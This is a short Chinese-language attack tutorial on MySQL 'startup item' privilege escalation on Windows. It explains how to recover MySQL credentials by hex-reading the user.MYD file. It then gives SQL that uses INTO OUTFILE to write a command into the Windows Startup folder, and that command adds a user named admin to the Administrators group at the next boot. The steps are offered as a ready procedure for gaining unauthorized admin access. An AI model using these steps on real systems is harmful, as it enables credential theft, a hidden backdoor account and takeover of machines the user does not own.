MySql启动项提权

1.我们先尝试寻找mysql的登陆密码

2.我们寻找mysql/data/mysql/user.MYD

3.找到之后我们利用c32软件hex它，得到用户名与密码

4.登陆数据库之后

 5.如果能够执行sql语句，我们执行如下sql语句

 create table  a(cmd text);

insert into a values("net user admin admin /add & netlocalgroup administrators admin /add")

select * from a into outfile "启动项路径（windows8为C:\Users\YanKaiyu\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup）"

6.看是否能够开机启动